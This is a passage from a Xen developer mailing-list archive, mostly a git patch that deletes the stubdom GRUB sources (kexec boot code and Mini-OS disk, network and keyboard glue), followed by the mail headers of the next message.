-        pfn = PHYS_PFN(xc_dom_virt_hypercall(dom) - virt_base);
-        memcpy((void *) pages[pfn], hypercall_page, PAGE_SIZE);
-    }
-
-    /* Equivalent of xc_dom_boot_image */
-    dom->shared_info_mfn = PHYS_PFN(start_info_ptr->shared_info);
-
-    if (!xc_dom_compat_check(dom)) {
-        printk("xc_dom_compat_check failed\n");
-        errnum = ERR_EXEC_FORMAT;
-        goto out;
-    }
-
-    /* Move current console, xenstore and boot MFNs to the allocated place */
-    do_exchange(dom, dom->console_pfn, start_info_ptr->console.domU.mfn);
-    do_exchange(dom, dom->xenstore_pfn, start_info_ptr->store_mfn);
-    DEBUG("virt base at %llx\n", virt_base);
-    DEBUG("bootstack_pfn %lx\n", dom->bootstack_pfn);
-    _boot_target = virt_base + PFN_PHYS(dom->bootstack_pfn);
-    DEBUG("_boot_target %lx\n", _boot_target);
-    do_exchange(dom, PHYS_PFN(_boot_target - virt_base),
-            virt_to_mfn(&_boot_page));
-
-    if ( dom->arch_hooks->setup_pgtables )
-        if ( (rc = dom->arch_hooks->setup_pgtables(dom))) {
-            printk("setup_pgtables returned %d\n", rc);
-            errnum = ERR_BOOT_FAILURE;
-            goto out;
-        }
-
-    /* start info page */
-    if ( dom->arch_hooks->start_info )
-        dom->arch_hooks->start_info(dom);
-
-    xc_dom_log_memory_footprint(dom);
-
-    /* Unmap libxc's projection of the boot page table */
-    seg = xc_dom_seg_to_ptr(dom, &dom->pgtables_seg);
-    munmap(seg, dom->pgtables_seg.vend - dom->pgtables_seg.vstart);
-    seg = xc_dom_seg_to_ptr(dom, &dom->p2m_seg);
-    munmap(seg, dom->p2m_seg.vend - dom->p2m_seg.vstart);
-
-    /* Unmap day0 pages to avoid having a r/w mapping of the future page table */
-    for (pfn = 0; pfn < allocated; pfn++)
-        munmap((void*) pages[pfn], PAGE_SIZE);
-
-    /* Pin the boot page table base */
-    if ( (rc = pin_table(dom->xch,
-#ifdef __i386__
-                MMUEXT_PIN_L3_TABLE,
-#endif
-#ifdef __x86_64__
-                MMUEXT_PIN_L4_TABLE,
-#endif
-                xc_dom_p2m(dom, dom->pgtables_seg.pfn),
-                dom->guest_domid)) != 0 ) {
-        printk("pin_table(%lx) returned %d\n", xc_dom_p2m(dom,
-               dom->pgtables_seg.pfn), rc);
-        errnum = ERR_BOOT_FAILURE;
-        goto out_remap;
-    }
-
-    /* We populate the Mini-OS page table here so that boot.S can just call
-     * update_va_mapping to project itself there.  */
-    need_pgt(_boot_target);
-    DEBUG("day0 pages %lx\n", allocated);
-    DEBUG("boot target page %lx\n", _boot_target);
-    DEBUG("boot page %p\n", &_boot_page);
-    DEBUG("boot page mfn %lx\n", boot_page_mfn);
-    _boot_page_entry = PFN_PHYS(boot_page_mfn) | L1_PROT;
-    DEBUG("boot page entry %llx\n", _boot_page_entry);
-    _boot_oldpdmfn = virt_to_mfn(start_info_ptr->pt_base);
-    DEBUG("boot old pd mfn %lx\n", _boot_oldpdmfn);
-    DEBUG("boot pd virt %lx\n", dom->pgtables_seg.vstart);
-    _boot_pdmfn = dom->pv_p2m[PHYS_PFN(dom->pgtables_seg.vstart - virt_base)];
-    DEBUG("boot pd mfn %lx\n", _boot_pdmfn);
-    _boot_stack = _boot_target + PAGE_SIZE;
-    DEBUG("boot stack %lx\n", _boot_stack);
-    _boot_start_info = virt_base + PFN_PHYS(dom->start_info_pfn);
-    DEBUG("boot start info %lx\n", _boot_start_info);
-    _boot_start = xc_dom_virt_entry(dom);
-    DEBUG("boot start %lx\n", _boot_start);
-
-    /* Keep only useful entries */
-    for (nr_m2p_updates = pfn = 0; pfn < start_info_ptr->nr_pages; pfn++)
-        if (dom->pv_p2m[pfn] != pfn_to_mfn(pfn))
-            nr_m2p_updates++;
-
-    m2p_updates = malloc(sizeof(*m2p_updates) * nr_m2p_updates);
-    for (i = pfn = 0; pfn < start_info_ptr->nr_pages; pfn++)
-        if (dom->pv_p2m[pfn] != pfn_to_mfn(pfn)) {
-            m2p_updates[i].ptr = PFN_PHYS(dom->pv_p2m[pfn]) | MMU_MACHPHYS_UPDATE;
-            m2p_updates[i].val = pfn;
-            i++;
-        }
-
-    for (i = 0; i < blk_nb; i++)
-        shutdown_blkfront(blk_dev[i]);
-    if (net_dev)
-        shutdown_netfront(net_dev);
-    if (kbd_dev)
-        shutdown_kbdfront(kbd_dev);
-    stop_kernel();
-
-    /* Update M2P */
-    if ((rc = HYPERVISOR_mmu_update(m2p_updates, nr_m2p_updates, NULL, DOMID_SELF)) < 0) {
-        xprintk("Could not update M2P\n");
-        ASSERT(0);
-    }
-
-    xprintk("go!\n");
-
-    /* Jump to trampoline boot page */
-    _boot();
-
-    ASSERT(0);
-
-out_remap:
-    for (pfn = 0; pfn < allocated; pfn++)
-        do_map_frames(pages[pfn], &pages_mfns[pfn], 1, 0, 0, DOMID_SELF, 0, L1_PROT);
-out:
-    xc_dom_release(dom);
-    for (pfn = 0; pfn < allocated; pfn++)
-        free_page((void*)pages[pfn]);
-    free(pages);
-    free(pages_mfns);
-    pages = NULL;
-    pages_mfns = NULL;
-    allocated = 0;
-    xc_interface_close(xc_handle );
-}
diff --git a/stubdom/grub/mini-os.c b/stubdom/grub/mini-os.c
deleted file mode 100644
index 4fc052a255..0000000000
--- a/stubdom/grub/mini-os.c
+++ /dev/null
@@ -1,771 +0,0 @@
-/*
- * Mini-OS support for GRUB.
- *
- * Samuel Thibault <Samuel.Thibault@eu.citrix.com>, May 2008
- */
-#include <sys/types.h>
-#include <sys/time.h>
-#include <stdarg.h>
-#include <stdlib.h>
-#include <malloc.h>
-#include <unistd.h>
-
-#include <hypervisor.h>
-#include <blkfront.h>
-#include <netfront.h>
-#include <fbfront.h>
-#include <semaphore.h>
-
-#include <osdep.h>
-#include <shared.h>
-#include <nic.h>
-#include <etherboot.h>
-#include <terminfo.h>
-#include <term.h>
-
-#include "mini-os.h"
-
-extern const char *preset_menu;
-char config_file[DEFAULT_FILE_BUFLEN] = "(hd0,0)/boot/grub/menu.lst";
-unsigned long boot_drive = NETWORK_DRIVE;
-unsigned long install_partition = 0xFFFFFF;
-
-char version_string[] = VERSION;
-
-/* Variables from asm.S */
-int saved_entryno;
-
-/*
- * Disk
- */
-
-struct blkfront_dev **blk_dev;
-int blk_nb;
-static struct blkfront_info *blk_info;
-
-static int vbdcmp(const void *_vbd1, const void *_vbd2) {
-    char *vbd1 = *(char **)_vbd1;
-    char *vbd2 = *(char **)_vbd2;
-    int vbdn1 = atoi(vbd1);
-    int vbdn2 = atoi(vbd2);
-    return vbdn1 - vbdn2;
-}
-
-void init_disk (void)
-{
-    char **list;
-    char *msg;
-    int i;
-    char *path;
-
-    msg = xenbus_ls(XBT_NIL, "device/vbd", &list);
-    if (msg) {
-        printk("Error %s while reading list of disks\n", msg);
-        free(msg);
-        return;
-    }
-    blk_nb = 0;
-    while (list[blk_nb])
-        blk_nb++;
-    blk_dev = malloc(blk_nb * sizeof(*blk_dev));
-    blk_info = malloc(blk_nb * sizeof(*blk_info));
-
-    qsort(list, blk_nb, sizeof(*list), vbdcmp);
-
-    for (i = 0; i < blk_nb; i++) {
-        printk("vbd %s is hd%d\n", list[i], i);
-        asprintf(&path, "device/vbd/%s", list[i]);
-        blk_dev[i] = init_blkfront(path, &blk_info[i]);
-        free(path);
-        free(list[i]);
-    }
-}
-
-/* Return the geometry of DRIVE in GEOMETRY. If an error occurs, return
-   non-zero, otherwise zero.  */
-int get_diskinfo (int drive, struct geometry *geometry)
-{
-    int i;
-    if (!(drive & 0x80))
-        return -1;
-
-    i = drive - 0x80;
-    if (i >= blk_nb)
-        return -1;
-
-    /* Bogus geometry */
-    geometry->cylinders = 65535;
-    geometry->heads = 255;
-    geometry->sectors = 63;
-
-    geometry->total_sectors = blk_info[i].sectors;
-    geometry->sector_size = blk_info[i].sector_size;
-    geometry->flags = BIOSDISK_FLAG_LBA_EXTENSION;
-    if (blk_info[i].info & VDISK_CDROM)
-        geometry->flags |= BIOSDISK_FLAG_CDROM;
-    return 0;
-}
-
-/* Read/write NSEC sectors starting from SECTOR in DRIVE disk with GEOMETRY
-   from/into SEGMENT segment. If READ is BIOSDISK_READ, then read it,
-   else if READ is BIOSDISK_WRITE, then write it. If an geometry error
-   occurs, return BIOSDISK_ERROR_GEOMETRY, and if other error occurs, then
-   return the error number. Otherwise, return 0.  */
-int
-biosdisk (int read, int drive, struct geometry *geometry,
-          unsigned int sector, int nsec, int segment)
-{
-    void *addr = (void *) ((unsigned long)segment << 4);
-    struct blkfront_aiocb aiocb;
-    int i;
-
-    if (!(drive & 0x80))
-        return -1;
-
-    i = drive - 0x80;
-    if (i >= blk_nb)
-        return -1;
-
-    if (sector + nsec > geometry->total_sectors)
-      return -1;
-
-    aiocb.aio_dev = blk_dev[i];
-    aiocb.aio_buf = addr;
-    aiocb.aio_nbytes = (size_t)nsec * blk_info[i].sector_size;
-    aiocb.aio_offset = (off_t)sector * blk_info[i].sector_size;
-    aiocb.aio_cb = NULL;
-
-    blkfront_io(&aiocb, read == BIOSDISK_WRITE);
-
-    return 0;
-}
-
-static int
-load_file(char *name, void **ptr, long *size)
-{
-    char *buf = NULL;
-    int allocated = 1 * 1024 * 1024;
-    int len, filled = 0;
-
-    if (!grub_open (name))
-        return -1;
-
-    buf = malloc(allocated);
-
-    errnum = 0;
-    while (1) {
-        len = grub_read (buf + filled, allocated - filled);
-        if (! len) {
-            if (!errnum)
-                break;
-            grub_close ();
-            return -1;
-        }
-        filled += len;
-        if (filled < allocated)
-            break;
-        allocated *= 2;
-        buf = realloc(buf, allocated);
-    }
-    grub_close ();
-    *ptr = buf;
-    *size = filled;
-    return 0;
-}
-
-void *kernel_image, *module_image;
-long  kernel_size, module_size;
-char *kernel_arg, *module_arg;
-void *multiboot_next_module;
-struct xen_multiboot_mod_list *multiboot_next_module_header;
-
-kernel_t
-load_image (char *kernel, char *arg, kernel_t suggested_type,
-            unsigned long load_flags)
-{
-    arg = skip_to(0, arg);
-    if (kernel_image)
-        free(kernel_image);
-    kernel_image = NULL;
-    if (load_file (kernel, &kernel_image, &kernel_size))
-        return KERNEL_TYPE_NONE;
-    if (kernel_arg)
-        free(kernel_arg);
-    kernel_arg = strdup(arg);
-    return KERNEL_TYPE_PV;
-}
-
-int
-load_initrd (char *initrd)
-{
-    if (module_image)
-        free(module_image);
-    module_image = NULL;
-    multiboot_next_module = NULL;
-    multiboot_next_module_header = NULL;
-    load_file (initrd, &module_image, &module_size);
-    return ! errnum;
-}
-
-int
-load_module (char *module, char *arg)
-{
-    void *new_module, *new_module_image;
-    long new_module_size, rounded_new_module_size;
-
-    if (load_file (module, &new_module, &new_module_size))
-        return 0;
-    if (strlen(arg) >= PAGE_SIZE) {
-        /* Too big module command line */
-        errnum = ERR_WONT_FIT;
-        return 0;
-    }
-    rounded_new_module_size = (new_module_size + PAGE_SIZE - 1) & PAGE_MASK;
-
-    if (module_image && !multiboot_next_module_header) {
-        /* Initrd already loaded, drop it */
-        free(module_image);
-        if (module_arg)
-            free(module_arg);
-        module_image = NULL;
-    }
-    if (!module_image)
-        /* Reserve one page for the header */
-        multiboot_next_module = (void*) PAGE_SIZE;
-
-    /* Allocate more room for the new module plus its arg */
-    new_module_image = realloc(module_image,
-            (multiboot_next_module - module_image) + rounded_new_module_size + PAGE_SIZE);
-
-    /* Update pointers */
-    multiboot_next_module += new_module_image - module_image;
-    multiboot_next_module_header = (void*) multiboot_next_module_header + (new_module_image - module_image);
-    module_image = new_module_image;
-
-    if ((void*) (multiboot_next_module_header+1) - module_image > PAGE_SIZE) {
-        /* Too many modules */
-        errnum = ERR_WONT_FIT;
-        return 0;
-    }
-
-    /* Copy module */
-    memcpy(multiboot_next_module, new_module, new_module_size);
-    multiboot_next_module_header->mod_start = multiboot_next_module - module_image;
-    multiboot_next_module_header->mod_end = multiboot_next_module_header->mod_start + new_module_size - 1;
-    multiboot_next_module += rounded_new_module_size;
-
-    /* Copy cmdline */
-    strcpy(multiboot_next_module, arg);
-    multiboot_next_module_header->cmdline = multiboot_next_module - module_image;
-    multiboot_next_module += PAGE_SIZE;
-
-    /* Pad */
-    multiboot_next_module_header->pad = 0;
-
-    multiboot_next_module_header++;
-
-    return 1;
-}
-
-void
-pv_boot (void)
-{
-    unsigned long flags = 0;
-    if (multiboot_next_module_header) {
-        /* Termination entry */
-        multiboot_next_module_header->mod_start = 0;
-        /* Total size */
-        module_size = multiboot_next_module - module_image;
-        /* It's a multiboot module */
-        flags |= SIF_MULTIBOOT_MOD;
-    }
-    kexec(kernel_image, kernel_size, module_image, module_size, kernel_arg, flags);
-}
-
-/*
- * Network
- */
-
-struct netfront_dev *net_dev;
-
-int
-minios_probe (struct nic *nic)
-{
-    char *ip;
-
-    if (net_dev)
-        return 1;
-
-    /* Clear the ARP table.  */
-    grub_memset ((char *) arptable, 0,
-                 MAX_ARP * sizeof (struct arptable_t));
-
-    net_dev = init_netfront(NULL, (void*) -1, nic->node_addr, &ip);
-    if (!net_dev)
-        return 0;
-
-    return 1;
-}
-
-/* reset adapter */
-static void minios_reset(struct nic *nic)
-{
-    /* TODO? */
-}
-
-static void minios_disable(struct nic *nic)
-{
-}
-
-/* Wait for a frame */
-static int minios_poll(struct nic *nic)
-{
-    return !! (nic->packetlen = netfront_receive(net_dev, (void*) nic->packet, ETH_FRAME_LEN));
-}
-
-/* Transmit a frame */
-struct frame {
-        uint8_t dest[ETH_ALEN];
-        uint8_t src[ETH_ALEN];
-        uint16_t type;
-        unsigned char data[];
-};
-static void minios_transmit (struct nic *nic, const char *d, unsigned int t,
-                             unsigned int s, const char *p)
-{
-    struct frame *frame = alloca(sizeof(*frame) + s);
-
-    memcpy(frame->dest, d, ETH_ALEN);
-    memcpy(frame->src, nic->node_addr, ETH_ALEN);
-    frame->type = htons(t);
-    memcpy(frame->data, p, s);
-
-    netfront_xmit(net_dev, (void*) frame, sizeof(*frame) + s);
-}
-
-static char packet[ETH_FRAME_LEN];
-
-struct nic nic = {
-    .reset = minios_reset,
-    .poll = minios_poll,
-    .transmit = minios_transmit,
-    .disable = minios_disable,
-    .flags = 0,
-    .rom_info = NULL,
-    .node_addr = arptable[ARP_CLIENT].node,
-    .packet = packet,
-    .packetlen = 0,
-    .priv_data = NULL,
-};
-
-int
-eth_probe (void)
-{
-    return minios_probe(&nic);
-}
-
-int
-eth_poll (void)
-{
-    return minios_poll (&nic);
-}
-
-void
-eth_disable (void)
-{
-    minios_disable (&nic);
-}
-
-void
-eth_transmit (const char *d, unsigned int t,
-              unsigned int s, const void *p)
-{
-    minios_transmit (&nic, d, t, s, p);
-    if (t == IP)
-        twiddle();
-}
-
-/*
- * Console
- */
-void
-serial_hw_put (int _c)
-{
-  char c = _c;
-  console_print(NULL, &c, 1);
-}
-
-int
-serial_hw_fetch (void)
-{
-    char key;
-
-    if (!xencons_ring_avail(NULL))
-        return -1;
-
-    read(STDIN_FILENO, &key, 1);
-    switch (key) {
-    case 0x7f: key = '\b'; break;
-    }
-    return key;
-}
-
-/*
- * PVFB
- */
-struct kbdfront_dev *kbd_dev;
-struct fbfront_dev *fb_dev;
-static union xenkbd_in_event ev;
-static int has_ev;
-int console_checkkey (void)
-{
-    if (has_ev)
-        return 1;
-    has_ev = kbdfront_receive(kbd_dev, &ev, 1);
-    return has_ev;
-}
-
-/* static QWERTY layout, that's what most PC BIOSes do anyway */
-static char linux2ascii[] = {
-    [ 1 ] = 27,
-    [ 2 ] = '1',
-    [ 3 ] = '2',
-    [ 4 ] = '3',
-    [ 5 ] = '4',
-    [ 6 ] = '5',
-    [ 7 ] = '6',
-    [ 8 ] = '7',
-    [ 9 ] = '8',
-    [ 10 ] = '9',
-    [ 11 ] = '0',
-    [ 12 ] = '-',
-    [ 13 ] = '=',
-    [ 14 ] = '\b',
-    [ 15 ] = '\t',
-    [ 16 ] = 'q',
-    [ 17 ] = 'w',
-    [ 18 ] = 'e',
-    [ 19 ] = 'r',
-    [ 20 ] = 't',
-    [ 21 ] = 'y',
-    [ 22 ] = 'u',
-    [ 23 ] = 'i',
-    [ 24 ] = 'o',
-    [ 25 ] = 'p',
-    [ 26 ] = '[',
-    [ 27 ] = ']',
-    [ 28 ] = '\n',
-
-    [ 30 ] = 'a',
-    [ 31 ] = 's',
-    [ 32 ] = 'd',
-    [ 33 ] = 'f',
-    [ 34 ] = 'g',
-    [ 35 ] = 'h',
-    [ 36 ] = 'j',
-    [ 37 ] = 'k',
-    [ 38 ] = 'l',
-    [ 39 ] = ';',
-    [ 40 ] = '\'',
-    [ 41 ] = '`',
-
-    [ 43 ] = '\\',
-    [ 44 ] = 'z',
-    [ 45 ] = 'x',
-    [ 46 ] = 'c',
-    [ 47 ] = 'v',
-    [ 48 ] = 'b',
-    [ 49 ] = 'n',
-    [ 50 ] = 'm',
-    [ 51 ] = ',',
-    [ 52 ] = '.',
-    [ 53 ] = '/',
-
-    [ 55 ] = '*',
-    [ 57 ] = ' ',
-
-    [ 71 ] = '7',
-    [ 72 ] = '8',
-    [ 73 ] = '9',
-    [ 74 ] = '-',
-    [ 75 ] = '4',
-    [ 76 ] = '5',
-    [ 77 ] = '6',
-    [ 78 ] = '+',
-    [ 79 ] = '1',
-    [ 80 ] = '2',
-    [ 81 ] = '3',
-    [ 82 ] = '0',
-    [ 83 ] = '.',
-
-    [ 86 ] = '<',
-
-    [ 96 ] = '\n',
-
-    [ 98 ] = '/',
-
-    [ 102 ] = 1,  /* home */
-    [ 103 ] = 16, /* up */
-    [ 104 ] = 7,  /* page up */
-    [ 105 ] = 2,  /* left */
-    [ 106 ] = 6,  /* right */
-    [ 107 ] = 5,  /* end */
-    [ 108 ] = 14, /* down */
-    [ 109 ] = 3,  /* page down */
-
-    [ 111 ] = 4,  /* delete */
-};
-
-static char linux2ascii_shifted[] = {
-    [ 1 ] = 27,
-    [ 2 ] = '!',
-    [ 3 ] = '@',
-    [ 4 ] = '#',
-    [ 5 ] = '$',
-    [ 6 ] = '%',
-    [ 7 ] = '^',
-    [ 8 ] = '&',
-    [ 9 ] = '*',
-    [ 10 ] = '(',
-    [ 11 ] = ')',
-    [ 12 ] = '_',
-    [ 13 ] = '+',
-    [ 14 ] = '\b',
-    [ 15 ] = '\t',
-    [ 16 ] = 'Q',
-    [ 17 ] = 'W',
-    [ 18 ] = 'E',
-    [ 19 ] = 'R',
-    [ 20 ] = 'T',
-    [ 21 ] = 'Y',
-    [ 22 ] = 'U',
-    [ 23 ] = 'I',
-    [ 24 ] = 'O',
-    [ 25 ] = 'P',
-    [ 26 ] = '{',
-    [ 27 ] = '}',
-    [ 28 ] = '\n',
-
-    [ 30 ] = 'A',
-    [ 31 ] = 'S',
-    [ 32 ] = 'D',
-    [ 33 ] = 'F',
-    [ 34 ] = 'G',
-    [ 35 ] = 'H',
-    [ 36 ] = 'J',
-    [ 37 ] = 'K',
-    [ 38 ] = 'L',
-    [ 39 ] = ':',
-    [ 40 ] = '"',
-    [ 41 ] = '~',
-
-    [ 43 ] = '|',
-    [ 44 ] = 'Z',
-    [ 45 ] = 'X',
-    [ 46 ] = 'C',
-    [ 47 ] = 'V',
-    [ 48 ] = 'B',
-    [ 49 ] = 'N',
-    [ 50 ] = 'M',
-    [ 51 ] = '<',
-    [ 52 ] = '>',
-    [ 53 ] = '?',
-
-    [ 55 ] = '*',
-    [ 57 ] = ' ',
-
-    [ 71 ] = '7',
-    [ 72 ] = '8',
-    [ 73 ] = '9',
-    [ 74 ] = '-',
-    [ 75 ] = '4',
-    [ 76 ] = '5',
-    [ 77 ] = '6',
-    [ 78 ] = '+',
-    [ 79 ] = '1',
-    [ 80 ] = '2',
-    [ 81 ] = '3',
-    [ 82 ] = '0',
-    [ 83 ] = '.',
-
-    [ 86 ] = '>',
-
-    [ 96 ] = '\n',
-
-    [ 98 ] = '/',
-
-    [ 102 ] = 1,  /* home */
-    [ 103 ] = 16, /* up */
-    [ 104 ] = 7,  /* page up */
-    [ 105 ] = 2,  /* left */
-    [ 106 ] = 6,  /* right */
-    [ 107 ] = 5,  /* end */
-    [ 108 ] = 14, /* down */
-    [ 109 ] = 3,  /* page down */
-
-    [ 111 ] = 4,  /* delete */
-};
-
-int console_getkey (void)
-{
-    static int shift, control, alt, caps_lock;
-
-    if (!has_ev)
-        has_ev = kbdfront_receive(kbd_dev, &ev, 1);
-    if (!has_ev)
-        return 0;
-
-    has_ev = 0;
-    if (ev.type != XENKBD_TYPE_KEY)
-        return 0;
-
-    if (ev.key.keycode == 42 || ev.key.keycode == 54) {
-        caps_lock = 0;
-        shift = ev.key.pressed;
-        return 0;
-    }
-    if (ev.key.keycode == 58) {
-        caps_lock ^= 1;
-        return 0;
-    }
-    if (ev.key.keycode == 29 || ev.key.keycode == 97) {
-        control = ev.key.pressed;
-        return 0;
-    }
-    if (ev.key.keycode == 56) {
-        alt = ev.key.pressed;
-        return 0;
-    }
-
-    if (!ev.key.pressed)
-        return 0;
-
-    if (ev.key.keycode < sizeof(linux2ascii) / sizeof(*linux2ascii)) {
-        char val;
-        if (shift || caps_lock)
-            val = linux2ascii_shifted[ev.key.keycode];
-        else
-            val = linux2ascii[ev.key.keycode];
-        if (control)
-            val &= ~0x60;
-        return val;
-    }
-
-    return 0;
-}
-
-static DECLARE_MUTEX_LOCKED(kbd_sem);
-static void kbd_thread(void *p)
-{
-    kbd_dev = init_kbdfront(NULL, 1);
-    up(&kbd_sem);
-}
-
-struct fbfront_dev *fb_open(void *fb, int width, int height, int depth)
-{
-    unsigned long *mfns;
-    int linesize = width * (depth / 8);
-    int memsize = linesize * height;
-    int numpages = (memsize + PAGE_SIZE - 1) / PAGE_SIZE;
-    int i;
-
-    create_thread("kbdfront", kbd_thread, &kbd_sem);
-
-    mfns = malloc(numpages * sizeof(*mfns));
-    for (i = 0; i < numpages; i++) {
-        memset(fb + i * PAGE_SIZE, 0, PAGE_SIZE);
-        mfns[i] = virtual_to_mfn(fb + i * PAGE_SIZE);
-    }
-    fb_dev = init_fbfront(NULL, mfns, width, height, depth, linesize, numpages);
-    free(mfns);
-
-    if (!fb_dev)
-        return NULL;
-
-    down(&kbd_sem);
-    if (!kbd_dev)
-        return NULL;
-
-    return fb_dev;
-}
-
-void kbd_close(void *foo)
-{
-    shutdown_kbdfront(kbd_dev);
-    kbd_dev = NULL;
-}
-
-void fb_close(void)
-{
-    create_thread("kbdfront close", kbd_close, NULL);
-    shutdown_fbfront(fb_dev);
-    fb_dev = NULL;
-}
-
-/*
- * Misc
- */
-
-int getrtsecs (void)
-{
-    struct timeval tv;
-    gettimeofday(&tv, NULL);
-    return tv.tv_sec % 10 + ((tv.tv_sec / 10) % 6) * 0x10;
-}
-
-int currticks (void)
-{
-    struct timeval tv;
-    gettimeofday(&tv, NULL);
-    return ((tv.tv_sec * 1000000ULL + tv.tv_usec) * TICKS_PER_SEC) / 1000000;
-}
-
-void __attribute__ ((noreturn)) grub_reboot (void)
-{
-    for ( ;; )
-    {
-        struct sched_shutdown sched_shutdown = { .reason = SHUTDOWN_reboot };
-        HYPERVISOR_sched_op(SCHEDOP_shutdown, &sched_shutdown);
-    }
-}
-
-#define SCRATCH_MEMSIZE (4 * 1024 * 1024)
-
-/* Note: not allocating it dynamically permits to make sure it lays below 4G
- * for grub's 32bit pointers to work */
-char grub_scratch_mem[SCRATCH_MEMSIZE] __attribute__((aligned(PAGE_SIZE)));
-
-int main(int argc, char **argv)
-{
-    if (argc > 1 && memcmp(argv[1], "--vtpm-label=", 13) == 0) {
-        vtpm_label = argv[1] + 13;
-        argc--;
-        argv++;
-    }
-
-    if (argc > 1) {
-        strncpy(config_file, argv[1], sizeof(config_file) - 1);
-        config_file[sizeof(config_file) - 1] = 0;
-        if (!strncmp(config_file, "(nd)", 4))
-            preset_menu = "dhcp";
-    } else if (start_info.mod_len)
-        preset_menu = (void*) start_info.mod_start;
-    else
-        preset_menu = "dhcp --with-configfile";
-
-    mbi.drives_addr = BOOTSEC_LOCATION + (60 * 1024);
-    mbi.drives_length = 0;
-
-    mbi.boot_loader_name = (unsigned long) "GNU GRUB " VERSION;
-    mbi.mem_lower = (start_info.nr_pages * PAGE_SIZE) / 1024;
-    mbi.mem_upper = 0;
-    saved_drive = boot_drive;
-    saved_partition = install_partition;
-
-    init_disk();
-
-    /* Try to make sure the client part got launched */
-    sleep(1);
-    cmain();
-    printk("cmain returned!\n");
-}
diff --git a/stubdom/grub/mini-os.h b/stubdom/grub/mini-os.h
deleted file mode 100644
index 9ec2bda014..0000000000
--- a/stubdom/grub/mini-os.h
+++ /dev/null
@@ -1,7 +0,0 @@
-extern int blk_nb;
-extern struct blkfront_dev **blk_dev;
-extern struct netfront_dev *net_dev;
-extern struct kbdfront_dev *kbd_dev;
-extern struct fbfront_dev *fb_dev;
-
-extern char* vtpm_label;
diff --git a/stubdom/grub/minios.cfg b/stubdom/grub/minios.cfg
deleted file mode 100644
index 5145b357e0..0000000000
--- a/stubdom/grub/minios.cfg
+++ /dev/null
@@ -1,4 +0,0 @@
-CONFIG_LIBC=y
-CONFIG_LWIP=n
-CONFIG_SPARSE_BSS=n
-CONFIG_TPMFRONT=y
diff --git a/stubdom/grub/osdep.h b/stubdom/grub/osdep.h
deleted file mode 100644
index 1d3e50adbf..0000000000
--- a/stubdom/grub/osdep.h
+++ /dev/null
@@ -1,30 +0,0 @@
-#ifndef __OSDEP_H__
-#define __OSDEP_H__
-
-#include <byteswap.h>
-#define swap32(x) bswap_32(x)
-#define swap16(x) bswap_16(x)
-
-#include <machine/endian.h>
-#if BYTE_ORDER == BIG_ENDIAN
-#define htons(x) (x)
-#define ntohs(x) (x)
-#define htonl(x) (x)
-#define ntohl(x) (x)
-#else
-#define htons(x) swap16(x)
-#define ntohs(x) swap16(x)
-#define htonl(x) swap32(x)
-#define ntohl(x) swap32(x)
-#endif
-
-typedef unsigned long Address;
-
-/* ANSI prototyping macro */
-#ifdef  __STDC__
-#define P(x)	x
-#else
-#define P(x)	()
-#endif
-
-#endif
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 08:18:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 08:18:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366243.1616139 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljD7-0005ti-Gh; Mon, 20 Jul 2026 08:18:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366243.1616139; Mon, 20 Jul 2026 08:18:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljD7-0005tV-Dp; Mon, 20 Jul 2026 08:18:49 +0000
Received: by outflank-mailman (input) for mailman id 1366243;
 Mon, 20 Jul 2026 08:18:48 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wljD6-0005si-8L
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 08:18:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wljD5-008gXE-LC
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:18:47 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a5dd9e5-e002-0a2a0a5209dd-0a2a45039940-18
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:18:47 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a5dd9e7-fae8-0a2a45030019-c387df82bd3c-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:18:47 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id 42BC379E46;
 Mon, 20 Jul 2026 08:18:47 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 1E01B779AA;
 Mon, 20 Jul 2026 08:18:47 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id gY8KBufZXWrGXgAAD6G6ig
 (envelope-from <jgross@suse.com>); Mon, 20 Jul 2026 08:18:47 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
